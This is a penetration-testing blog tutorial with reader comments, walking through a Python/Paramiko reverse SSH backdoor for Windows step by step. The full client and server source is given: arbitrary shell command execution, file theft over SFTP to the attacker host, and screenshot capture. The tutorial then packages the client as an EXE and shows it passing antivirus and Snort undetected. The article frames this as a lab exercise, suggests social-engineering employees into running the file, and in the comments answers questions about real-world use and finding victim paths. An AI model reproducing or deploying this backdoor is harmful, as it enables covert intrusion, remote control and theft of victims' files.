Penetration testing

Creating an undetectable custom SSH backdoor in Python [A – Z]

September 8, 2018 by Hussam Khrais

During penetration testing, sometimes you get stuck with a secure environment where all the servers and end-clients are fully patched, updated, firewalled, and have anti-virus software installed. Network firewall rules have been configured properly, and all internal clients are NATed to the Internet. A network-based IDS/IPS sensor is out there watching the traffic, and you still want to gain access!

In such a situation, client-side attack and having knowledge in programming are your best friends. Why is that? A client-side attack is considered a very dangerous threat, especially when it’s combined with a coordinated social engineering attack against employees who are not aware of the IT security field. For example, no matter what your security rules are, if you can trick the right person into opening the wrong (malicious) software, the system may get compromised.

In this article, we will create a simple but powerful and undetectable SSH backdoor written in Python with some built-in features like SFTP. At the final stage we will export this backdoor as a standalone and test it against online virus scanners as well as inside a simulated secure environment in VirtualBox.

Why Python? Python is a hacker’s language, it’s very simple to learn, runs over multiple platforms, and has a wealth of third-party libraries out there, making your job much easier.

After reading this article…

You will have a great example of forging Python in penetration testing and you may use or tune the code for a real world case. Plus you will be aware of the effectiveness of client-side attack and the importance of programming your own weapon where other tools will fail in such a tough scenario.

Lab environment overview

Reflecting a real world scenario, let’s take a look into our network diagram, which I built in VBox to illustrate a secure environment:

Attacker machine
>IP address : 10.0.2.15/24
>OS: BackTrack 5 R3
>Python Version: 2.6

Victim machine
>IP address : 192.168.1.15/24
>OS: Windows 7 SP1 32 bit
>Zone Alarm Firewall and anti-virus installed (free version)
>Python Version: 2.7 (installed for demonstration only)

Network infrastructure
>Pfsense Firewall with SNORT IDS/IPS integrated service
>Pfsense is NATing the victim machine [192.168.1.15] to its WAN interface [10.0.2.1]
>2xVirtual switches created by VBox

Building the machines from scratch inside VBox is out of our scope in this article; however, I have to briefly show you the configuration in case someone would like to replicate the scenario.

Pfsense configuration
*For WAN (outside) interface [10.0.2.1], all incoming traffic is denied by default unless it’s initiated from inside [LAN interface], simply because pfSense is a stateful firewall.

*For LAN (inside) interface [192.168.1.0/24], most likely you will see that only the necessary ports are allowed in the outbound direction, based on business needs. In this case, I assumed 80,443, and 22 will be allowed.

*All our inside clients [192.168.1.0/24] will be NATed to the WAN interface, so they will appear as 10.0.2.1 to the attacker machine.

*SNORT is watching traffic on both directions (inbound and outbound) for pfSense LAN & WAN interfaces.

*SNORT signatures are updated at the time of writing this article.

Note: In addition to the default enabled SNORT rules, I’ve manually enabled all the rules for the below categories because they are heavily focusing on malicious activity initiated from $HOME_NET (where Win 7 located) to the outside world

$EXTERNAL_NET (where BT is located) :-

GPLv2_community.rules
Emerging-trojan.rules
Emerging-malware.rules

*Here we have Win 7 updated with history log:

*Zone alarm FW and anti-virus are up and running and its DB signature is updated as well.

Approach

  1. How the attack works
  2. Building the SSH tunnel
  3. Reverse shell
  4. SFTP
  5. Write your own custom feature (grabbing a screenshot)
  6. Code wrap up into EXE
  7. Verification

How the attack works

The main key to have a successful client-side attack is to gain an employee’s trust to download and open your malicious software. There are too many ways to do this; during reconnaissance phase, you may search around and see what topics this employee is interested in. Maybe he/she has a post on Facebook asking for free software to download YouTube videos! Get my point here? I will leave this to your imagination, as every penetration tester has his own way.

Once the victim opens ‘execute’ (your backdoor), a TCP SYN request will be initiated back to the attacker machine, which is supposed to be listening and waiting for incoming requests on port 22 to complete the TCP 3-way handshake and establish an SSH tunnel on the top of the TCP socket.

Inside this secure channel, we will transfer arbitrary commands to our victim and make it send the execution result back to us. Encryption is a great way to evade IDS/IPS sensors since they will be completely blind about the traffic type that passed on. Making a ‘reverse shell’ is also a well-known method to bypass FW rules, as it is most likely blocking all incoming connections, but you can’t block all outbound connections since they are mandatory for business needs.

Building the SSH tunnel

Python has many third-party libraries that simplify SSH implementation and provide a high user level. I will use the Paramiko library, as it has fabulous features and allows us to program a simple client-server channel and much more!

Before proceeding, I recommend you take a look into a folder called “demos” inside the Paramiko bundle. Paramiko’s author has done a great job in explaining how to use Paramiko in multiple scenarios through demo scripts. Files we are interested in:

  • *demo_server.py: a demo for a simple SSH Server [BackTrack in our case]
  • *demo_simple.py: a demo for a simple SSH Client [Windows 7 in our case]
  • *demo_sftp.py: a demo for a simple SFTP Client [Windows 7 in our case]
  • *rforward.py: a demo for Reverse Port-Forwarding [Check challenge yourself section]

In this section, we will program the server & client-side and transfer simple strings over the SSH channel.

Server side
[python]
import socket
import paramiko
import threading
import sys

host_key = paramiko.RSAKey(filename=’/root/Desktop/test_rsa.key’)

class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == ‘session’:
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == ‘root’) and (password == ‘toor’):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED

try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((‘10.0.2.15’, 22))
sock.listen(100)
print ‘[+] Listening for connection …’
client, addr = sock.accept()
except Exception, e:
print ‘[-] Listen/bind/accept failed: ‘ + str(e)
sys.exit(1)
print ‘[+] Got a connection!’

try:
t = paramiko.Transport(client)
try:
t.load_server_moduli()
except:
print ‘[-] (Failed to load moduli — gex will be unsupported.)’
raise
t.add_server_key(host_key)
server = Server()
try:
t.start_server(server=server)
except paramiko.SSHException, x:
print ‘[-] SSH negotiation failed.’

chan = t.accept(20)
print ‘[+] Authenticated!’
print chan.recv(1024)
chan.send(‘Yeah i can see this’)

except Exception, e:
print ‘[-] Caught exception: ‘ + str(e. class ) + ‘: ‘ + str(e)
try:
t.close()
except:
pass
sys.exit(1)
[/python]

  • The code starts with defining the location for RSA key, which be used to sign and verify SSH2 data. I used the test_rsa.key that was packed inside the Paramiko bundle.
  • ‘class Server’ defines an interface for controlling the behavior of Paramiko in server mode, and includes necessary functions that handle the requests coming from the client-side. For example, ‘def check_auth_password’ defines if a given username and password supplied by the client is correct during authentication.
  • ‘def check_channel_request’ is called in our server when the client requests a channel. After authentication is complete, in this case we defined a ‘session’ channel type only to be allowed, other types would be [PTY, Shell] but remember that we won’t need the client (victim) to establish (or even request) a PTY/Shell terminal back to us, right?
  • Next, we used ‘socket’, a built-in Python library for creating a TCP socket object named ‘sock’, and assign some options like (socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) allowing us to bind an IP address that previously connected and left the socket in TIME_WAIT. Then we defined that we are binding our 10.0.2.15 interface address on port 22 and listening for 100 connections (in fact we are only interested in one connection from our victim). sock.accept() return a socket object stored in a variable called ‘client’.
  • Finally we passed the ‘client’ socket object to ‘Transport’ class, which is responsible for negotiating an encrypted session, authenticating, and then creating stream tunnels called channel ‘chan’ across the session. We interact with our victim inside a channel through ‘chan.send’ and ‘chan.recv’ functions.
  • If all went fine we should send (‘Yeah i can see this’) to the client and print out what the client has sent.

Client side
In network programming, usually the client side is less complicated than the server side. You can notice this with four total lines needed to establish a channel.

[python]
import paramiko
import threading

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(‘10.0.2.15′, username=’root’, password=’toor’)
chan = client.get_transport().open_session()
chan.send(‘Hey i am connected 🙂 ‘)
print chan.recv(1024)
client.close
[/python]

  • SSHClient() class takes care of most aspects of authenticating and opening channels.
  • paramiko.AutoAddPolicy() class automatically adds the hostname and server host key to the local ‘HostKeys’ object and saves it, so we won’t worry about the notification message about recognizing the server key fingerprint that appears when you first connect to an SSH server. Then we define the IP address of our attacking machine [10.0.2.15 ] with login credentials.
  • ‘client.get_transport().open_session()’ requests a new channel of type ‘session’ from the server (still remember ‘def check_channel_request’ from the server code?). If all goes fine, we should send (‘Hey i am connected 🙂 ‘) to the server and print out what the server has sent.

Quick test
Before moving on, I’ve already installed a Python compiler on the Windows 7 machine so we can quickly test our code, however in the last phase we will compile the whole code into single standalone EXE file which will be tested in our secure environment.

*Starting the server script

root@bt:~# python /root/Desktop/Server Part 1.py
[+] Listening for connection …

*Verify a listening port on our Backtrack

root@bt:~# netstat -antp | grep “22”
tcp 0 10.0.2.15:22 0.0.0.0:* LISTEN 1683/python

*Starting the client script

C:UsersHussamDesktop>python “Client Part 1.py”
Yeah i can see this

*Reviewing server side output

root@bt:~# python /root/Desktop/Server Part 1.py
[+] Listening for connection … [+] Got a connection!
[+] Authenticated!
Hey i am connected 🙂

Perfect, everything is working as expected we see the channel output on both sides as we programmed in the script.

Reverse shell

Paramiko is not designed to be used for penetration testing, the author ‘as others do’ supposed that the client will execute commands on the server and this occurs via the ‘chan.exec_command(command)’ function. However it’s reversed in our scenario since the server (hacker) is the one who will execute commands remotely on the client (victim). To overcome this, we will initiate a subprocess on the client side, and based on commands we received from the server via chan.recv() ,our client will send the output back via chan.send().

Server side
#Add the following code after ‘chan.send(‘Yeah i can see this’)’ from the previous server script.

[python]
while True:
command= raw_input(“Enter command: “).strip(‘n’)
chan.send(command)
print chan.recv(1024) + ‘n’
[/python]

We just need to grab a command from the user via raw_input and send it to the client to execute it, then print out the result.

Client side
[python]
import subprocess

while True:
command = chan.recv(1024)
try:
CMD = subprocess.check_output(command, shell=True)
chan.send(CMD)
except Exception,e:
chan.send(str(e))
[/python]

‘subprocess.check_output’ execute the received command and return its output as a byte string to ‘CMD’ variable, which gets transferred back to server. Note that we use exception handling with ‘subprocess.check_output’ because if the attacker mistyped a command, this will raise an exception and we will lose our shell. We definitely don’t want this.

Quick test
*Start server script and then client script and issue some commands like ‘ipconfig,chdir’ to verify remote execution.

[python]
root@bt:~# python /root/Desktop/Server Part 2.py
[+] Listening for connection …
[+] Got a connection!
[+] Authenticated! Hey i
am connected 🙂 Enter
command: ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9012:530:e307:c322%11
IPv4 Address. . . . . . . . . . . : 192.168.1.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{77D9EB79-91D3-45A9-A0BE-ED645CC08DF9}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter Teredo Tunneling Pseudo-Interface:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :

Enter command: chdir
C:UsersHussamDesktop

Enter command: arp -a

Interface: 192.168.1.15 — 0xb
Internet Address Physical Address Type
192.168.1.1 08-00-27-b3-a2-7d dynamic
192.168.1.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
[/python]

Bingo! We have successfully executed commands remotely through the encrypted SSH channel. Let’s move on to do more actions.

SFTP

Transferring files with your victim becomes very handy, especially for post exploitation phases such as leaking sensitive documents or uploading software for pivoting. At this point we have multiple choices:

  • The worst: we can transfer files over the TCP socket, but this method may corrupt the file during transmission, especially if the file is large. As a matter of fact, this is why an entire protocol (FTP) was designed.
  • The best: to program an SFTP server using Paramiko, but SFTP server programming can be quite difficult.
  • The easiest: Fire up an OpenSSH server on a different hacking machine or bind it to a different NIC address. We need this because port 22 is reserved for our Python server on IP : 10.0.2.15.

SFTP server
To avoid increasing code complexity on the server side, I will go for the last option and use OpenSSH with the following configuration:

[python]
root@bt:~# cat /etc/ssh/sshd_config

Port 22
ListenAddress 10.0.2.16
ChallengeResponseAuthentication no
Subsystem sftp internal-sftp
UsePAM no

[/python]

SFTP client
[python]
def sftp(local_path,name):
try:
transport = paramiko.Transport((‘10.0.2.16’, 22))
transport.connect(username = ‘root’, password = ‘toor’)
sftp = paramiko.SFTPClient.from_transport(transport)
sftp.put(local_path, ‘/root/Desktop/SFTP-Upload/’+name)
sftp.close()
transport.close()
return ‘[+] Done’
except Exception,e:
return str(e)

while True:
command = chan.recv(1024)
if ‘grab’ in command:
grab,name,path = command.split(‘*’)
chan.send( sftp(path,name) )
[/python]

  • Create a condition triggered by receiving a certain word ‘grab’ to indicate that we need to transfer a file from a victim machine. To transfer a file we need necessary parameters like file name, file path on victim machine, and the storing directory back on attacker side. The server has to send that information in a certain formula so we can split these parameters and pass it to our SFTP function.
  • In this case, I used asterisk ‘*’ to separate between these parameters. For example, on server side, if we send: grab*photo*C:UsersHussamDesktopphoto.jpeg using split function we can break the above sentence into 3 variables based on ‘*’ grab,name,path = command.split(‘*’)
    • >grab variable will contain grab string we received from the server
    • >name variable will contain the file name to be uploaded in server side, in this case it’s
    • photo
    • >path variable will contains the ‘photo’ path, in this case it’s C:UsersHussamDesktopphoto.jpeg
  • Once SFTP function got the path and file name, it will initiate a new SSH session on port 22 back to our BackTrack machine. After authentication and establishing an SSH tunnel we can start transferring the photo using FTP protocol and it will be saved in a pre-created directory called ‘/root/Desktop/SFTP-Upload/’ , thanks to sftp.put(local_path, ‘/root/Desktop/SFTP-Upload/’+name)
  • If all went okay, SFTP function will return a ‘[+] Done’ string back to us through our previous channel, otherwise, it will print the exception occurred.

Quick test
[python]
root@bt:~# service ssh start
ssh start/running, process 1578

root@bt:~# netstat -antp | grep “22”
tcp 0 10.0.2.16.22 0.0.0.0:* LISTEN 1578/sshd

root@bt:~# python /root/Desktop/Server Part 2.py
[+] Listening for connection … [+] Got a connection!
[+] Authenticated!
Hey i am connected 🙂 Enter command: dir Data Volume in drive C has no label.
Volume Serial Number is 1471-329C

Directory of C:UsersHussamDesktopData

11/20/2013 07:27 PM <DIR> .
11/20/2013 07:27 PM <DIR> ..
11/01/2013 05:20 PM 0 important.txt
11/17/2013 01:17 AM 7,346 Nancy_Ajram.jpeg
11/13/2013 02:50 PM 98,743,826 Sales Report.pdf
3 File(s) 98,751,172 bytes
2 Dir(s) 14,744,477,696 bytes free
[/python]

Enter command: grab*Nancy_Ajram*C:UsersHussamDesktopDataNancy_Ajram.jpeg
[+] Done
Enter command:

And we can see the image below in SFTP-Upload folder, voilà!

Write your own custom feature (grabbing a screenshot )

In this part we will learn how to tune the previous script to add more functionality based on custom needs. Let’s try to replicate grabbing a screenshot option in Metasploit Meterpreter.

Client side
[python]
from PIL import ImageGrab

def screenshot():
try:
im = ImageGrab.grab()
im.save(‘C:UsersHussamDesktopscreenshot.png’)
except Exception,e:
return str(e)
return sftp(‘C:UsersHussamDesktopscreenshot.png’,’screenshot’)

while True:

command = chan.recv(1024)
if ‘grab’ in command:
grab,name,path = command.split(‘*’)
chan.send( sftp(path,name) )

elif ‘getscreen’ in command:
chan.send ( screenshot() )
[/python]

  • Similar to what we’ve done in SFTP ‘grab’, we appended another if statement in sequential order that says “if we receive ‘getscreen’ from our server, we will call def screenshot()
  • function and send the result of this function back to server.”
  • def screenshot() function uses ‘ImageGrab’ class from Python Image Library (PIL) where it has a built in function to capture a screenshot, saving the output to C:UsersHussamDesktopscreenshot.png’ then we utilized SFTP function to transfer it for us.

Quick test
[python]
root@bt:~# service ssh start
ssh start/running, process 1623
root@bt:~# python /root/Desktop/Server Part 2.py
[+] Listening for connection … [+] Got a connection!
[+] Authenticated!
Hey i am connected 🙂
Enter command: getscreen
[+] Done

Enter command: chdir
C:UsersHussamDesktop
[/python]

Checking our “Upload” directory we can see our new image over there:

Code wrap up into EXE

There are multiple ways to convert a Python script into standalone EXE. We will use py2exe for this purpose.

Step 1: Grouping our client functions into a single file called “Client.py”

[python]
import paramiko
import threading
import subprocess
from PIL import ImageGrab

def sftp(local_path,name):
try:
transport = paramiko.Transport((‘10.0.2.16’, 22))
transport.connect(username = ‘root’, password = ‘toor’)
sftp = paramiko.SFTPClient.from_transport(transport)
sftp.put(local_path, ‘/root/Desktop/SFTP-Upload/’+name)
sftp.close()
transport.close()
return ‘[+] Done’
except Exception,e:
return str(e)

def screenshot():
try:
im = ImageGrab.grab()
im.save(‘C:UsersHussamDesktopscreenshot.png’)
except Exception,e:
return str(e)
return sftp(‘C:UsersHussamDesktopscreenshot.png’,’screenshot’)

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(‘10.0.2.15′, username=’root’, password=’toor’)
chan = client.get_transport().open_session()
chan.send(‘Hey i am connected 🙂 ‘)
print chan.recv(1024)

while True:
command = chan.recv(1024)
if ‘grab’ in command:
grab,name,path = command.split(‘*’)
chan.send( sftp(path,name) )

elif ‘getscreen’ in command:
chan.send ( screenshot() )

else:
try:
CMD = subprocess.check_output(command, shell=True)
chan.send(CMD)
except Exception,e:
chan.send(str(e))
[/python]

Step 2: Preparing “setup.py” script to specify which options do we need in our output

[python]
from distutils.core import setup
import py2exe , sys, os

setup(
options = {‘py2exe’: {‘bundle_files’: 1}},

windows = [{‘script’: “Client.py”}],
zipfile = None,
)
[/python]

  • {‘bundle_files’: 1} will bundle out script and its needed DLL libraries into single exe output as we don’t need zipfile (zipfile = None)

Step 3: Firing up py2exe

C:UsersHussamDesktop>python setup.py py2exe

Our output will be in dist folder named Client.exe

Verification

Anti-virus evasion
Now it’s show time. Uploading our Client.exe to virustotal online scanner, we got 0 detection: https://www.virustotal.com/en/file/47e87746d742454cfd4aaa733c263ba25731e0e75cca
d6f0bd00cfa278520abe/analysis/1385136237/

SNORT testing
Before running our standalone Backdoor into the victim machine, I have quickly crafted some packets initiated from the inside network (192.168.1.0/24) which triggers a couple SNORT signatures just to make sure that it’s working.

[python]
from scapy.all import *

packet = IP(src=’192.168.1.15′ , dst=’8.8.8.8′)
segment = UDP(dport=53)
payload =
‘x33x33x01x00x00x01x00x00x00x00x00x00x07’+’counter’+’x05’+’yadro’+’
x02’+’ru’+’x00x00x01x00x01′ rocket = packet/segment/payload
send(rocket)

packet = IP(src=’192.168.1.15′ , dst=’10.0.2.15′)
segment = ICMP()
payload = ‘Echo This’
rocket = packet/segment/payload send(rocket)
[/python]

The above code should trigger the below signatures from emerging-trojan.rules:

And fair enough, SNORT was able to address these packets and considered them malicious.

Note: I’ve cleared these logs before proceeding further.

Local AV & IDS evasion
*Scanning our backdoor on Win 7 using Zone alarm AV and we got 0 infection.

*Setting up listeners on the attacker machine for last time:

root@bt:~# netstat -antp | grep “22”

tcp — 0 — 0 10.0.2.15:22 — 0.0.0.0:* — LISTEN — 1732/python

tcp — 0 — 0 10.0.2.16:22 — 0.0.0.0:* — LISTEN — 1723/sshd

*Opening the backdoor and testing our script functionality as standalone EXE:

[python]
root@bt:~# python /root/Desktop/Server Part 2.py
[+] Listening for connection … [+] Got a connection!
[+] Authenticated!
Hey i am connected
Enter command: ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9012:530:e307:c322%11
IPv4 Address. . . . . . . . . . . : 192.168.1.15
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{77D9EB79-91D3-45A9-A0BE-ED645CC08DF9}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter Teredo Tunneling Pseudo-Interface:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :

Enter command: dir
Volume in drive C has no label.
Volume Serial Number is 1471-329C

Directory of C:UsersHussamDesktop

11/24/2013 07:42 PM <DIR> .
11/24/2013 07:42 PM <DIR> ..
11/24/2013 07:35 PM 8,825,272 Client.exe
11/24/2013 01:32 AM 1,405 Client.py
11/01/2013 07:43 PM 13,335 cmd – Shortcut.lnk
11/20/2013 07:27 PM <DIR> Data
11/17/2013 12:52 AM <DIR> EXE
11/12/2013 11:14 PM 952 FreeSSHd.lnk
11/03/2013 09:51 PM 2,555 IDLE (Python GUI).lnk
11/12/2013 06:17 PM 61,440 nc.exe
11/23/2013 11:34 PM 345 New Text Document.txt
11/14/2013 08:42 PM <DIR> Nmap
11/04/2013 01:57 AM 311,296 plink.exe
11/14/2013 09:59 PM 78 portscan.bat
11/12/2013 09:13 PM 2,489,024 Procmon.exe
11/14/2013 10:19 PM 387,776 PsExec.exe
11/14/2013 10:22 PM 232,232 pslist.exe
11/04/2013 02:37 PM 495,616 putty.exe
1

Enter command: dir Data
1/17/2013 07:24 PM <DIR> pwdump7
11/17/2013 10:04 PM 5,589,154 Python-windows-privesc-check2.exe
11/24/2013 07:15 PM 245 setup.py
11/02/2013 08:35 PM 471 ShareVM (vboxsrv) (E) – Shortcut.lnk
11/06/2013 01:27 AM <DIR> SSH Bot
11/16/2013 11:45 PM 1,317 SSHClient2.py
11/02/2013 07:43 PM 3,059 Tripwire SecureCheq.lnk
11/17/2013 08:56 PM <DIR> upx391w
11/18/2013 06:10 PM <DIR> wce_v1.0
11/05/2013 06:43 PM 1,702 Wireshark.lnk
11/01/2013 09:06 PM 1,448 XAMPP Control Panel.lnk
11/16/2013 02:49 PM 2,465,360 zaSetupWeb_120_104_000.exe
09/01/2013 05:14 PM 853 �Torrent.lnk
22 File(s) 20,884,935 bytes
9 Dir(s) 14,805,999,616 bytes free

Enter command:
Volume in drive C has no label. Volume Serial Number is 1471-329C

Directory of C:UsersHussamDesktopData

11/20/2013 07:27 PM <DIR> .
11/20/2013 07:27 PM <DIR> ..
11/01/2013 05:20 PM 0 important.txt
11/17/2013 01:17 AM 7,346 Nancy_Ajram.jpeg
11/13/2013 02:50 PM 98,743,826 Sales Report.pdf
3 File(s) 98,751,172 bytes
2 Dir(s) 14,805,999,616 bytes free
[/python]

Enter command: grab*SalesRep*C:UsersHussamDesktopDataSales Report.pdf

[+] Done

Enter command: getscreenshot

[+] Done

So the results look exactly as they did in implementation phase, and wrapping into EXE didn’t affect functionality.

*Connection verification

[python]
C:UsersHussamDesktop>netstat -an | find “22”
TCP 192.168.1.15:49226 10.0.2.15:22 ESTABLISHED
TCP 192.168.1.15:49242 10.0.2.16:22 ESTABLISHED

root@bt:~# netstat -antp | grep “22”
tcp 0 0 10.0.2.15:22 10.0.2.1:57590 ESTABLISHED 1732/python
tcp 0 0 10.0.2.16:22 10.0.2.1:40539 ESTABLISHED 2218/sshd: root@not
[/python]

tcp — 0 — 0 — 10.0.2.15:22 — 10.0.2.1:57590 — ESTABLISHED 1732/python

tcp — 0 — 0 10.0.2.16:22 — 10.0.2.1:40539 — ESTABLISHED 2218/sshd: root@not

*And the most important part is we got 0 alerts from SNORT on both LAN/WAN interfaces.

Challenge yourself

Python Paramiko features have not finished yet. SSH supports a fancy feature called ‘reversed port forwarding’ which can be used for pivoting. Assume there’s a potential target that can be reached by Win 7 but not from our BackTrack directly; we can make Win 7 to tunnel our traffic back and forth this new target. Try to add this functionality to our Client.py.

Hint: Take a look into rforward.py demo script and use OpenSSH as your server.

Your comments encourages us to write, please leave one behind!

Sources

Paramiko https://github.com/paramiko/paramiko/

Posted: September 8, 2018
Articles Author
Hussam Khrais
View Profile

Hussam T. Khrais is a technical support engineer for a leading IT company in Jordan. He is predominantly focused on Network and Wireless Security. Beyond this, he’s interested in Python scripting and penetration testing. https://www.linkedin.com/pub/hussam-khrais/48/163/158

13 responses to “Creating an undetectable custom SSH backdoor in Python [A – Z]”

  1. jbmohler says:

    I think this title has potential to create misunderstanding. You are simply using a very nice feature of ssh (tunneling) which I should certainly hope goes unflagged by virus software. It’s no more dangerous than any other vpn style network technology. That is not to say that it isn’t dangerous or subtle — I think it’s quite a bit of both as any vpn is. However, it’s a completely necessary tool for bridging the gap between two trusted sites across the untrusted internet. It’s not a “backdoor” unless you didn’t realize it could be done.

    I’ll never forget the first time I saw ssh tunneling in action. A co-worker used putty to tunnel from my home linux box into my home router to show me a configuration. It looked horrifying to see my internal router configuration at a remote location until I realized how it worked.

  2. Hi Hussam, thanks for showing how to implement paramiko for reverse shell. This will help a lot with some Pentesting practices I’m doing.

    However, I’m having problems getting both of those functions working (sftp and screenshot). And I don’t understand why you’re using “C:UsersHussamDesktop” as a directory, without the blackslash “”.

    As my last resource I copied/paste the whole code you’ve got at the end under “Client.py” (changing the required values) but when starting that script in Windows, it just ends and does not establish a connection. I think is an indentation problem in that code.

    I’ll be waiting for your answer. Thanks in advance.

  3. Hussam says:

    Hi Gustavo, thanks for your feedback, for the path it should be with backslash,i’m not sure why it’s been removed, if you use the sftp function alone in a separate script, does it work ? if not, then pls install python compiler on windows and run it as .py not as .exe to see if it shows an error.
    i’ve tested the code multiple times before publishing the article so it should be work like a charm. let me know it goes.

    • Thanks for your answer Hussam. I was having some indentation problems, that’s why it was not working. Now I’m trying to implement IMPACKET with this code.

      Also, any ideas on how to make the code “evaluate” the target machine directory? Because this works if I know the (remote) machine user directory, but if I don’t then I’m just limited to “C:/” and “C:/Windows” directories. Also this changes from Windows to Vista and 7. I’ve been looking online and the nearest answers I’ve found is using “import platform” and “import os”. Any help would be grateful.

      • Hussam says:

        Your welcome, persistence and generic navigation were out of this article scoop, however the following will help:-

        Os.getcwd() , this will return the path where the backdoor gets executed

        Also USERPROFILE variable will return win user path

        user_profile = os.environ[‘USERPROFILE’]
        user_desktop = user_profile + “/Desktop”
        You can call userprofile as a subprocess as well

        Hope this helps

  4. mike says:

    Gr8 explanation man verry helpfull
    thanks big time

  5. James says:

    Hey mate thanks for the lesson. I have been looking to create something like this on my own though I was looking at different module than paramiko.

    When I run server code i get line 52 error. I changed IP to match my current and saved key in different dir. Other than that its all the same.

    Also can you offer me an example and explanation of how I can run the client code to add multiple users such as creating a list of clients: each time client executes program code has ability to check and verify if client is uploaded if so then do nothing but if not then upload or connect new client.

    I have been working with flask and am wondering if it is possible to take some of the clients info and add it to a flask server so I can see clients as more of a gui and adding other features such as grouping clients together based on location or other set variables.

  6. Qassam says:

    is this work on WAN ( computer over internet )
    and how ?

  7. Jack D says:

    Nice post thanks for sharing, has anybody managed to get this to always run even after booting up? aka making it sticky or persistent

  8. Thomas says:

    Hello Hussam,
    I do have a question :
    After having tried several times with different ports, it seems that if the chosen port is not currently open, it won’t work, and I don’t see how to bypass it, how to create a NAT rule in python -for instance- or anything that will help making your code even more efficient.
    A clue ?

    Thanks for your time.

  9. Alex.fr says:

    Hi! I have a question … About port forwarding.. In order to execute commands on the other victims PC have i to install the backdoor on the other PC too ??

    I’d like to do something like :
    My PC –> PC w/ backdoor –> PC on the same network as the one w/ backdoor but w/o it installed on this one

    So should I install it on the 3rd PC too? Or “port forwarding” will allow me to send and execute commands on this computer w/o the backdoor installed on it?

    Thank you in advance

  10. Ale says:

    Awesome post, very explained!
    I save it in marks and read later! 🙂
    Thanks!

Leave a Reply

Your email address will not be published. Required fields are marked *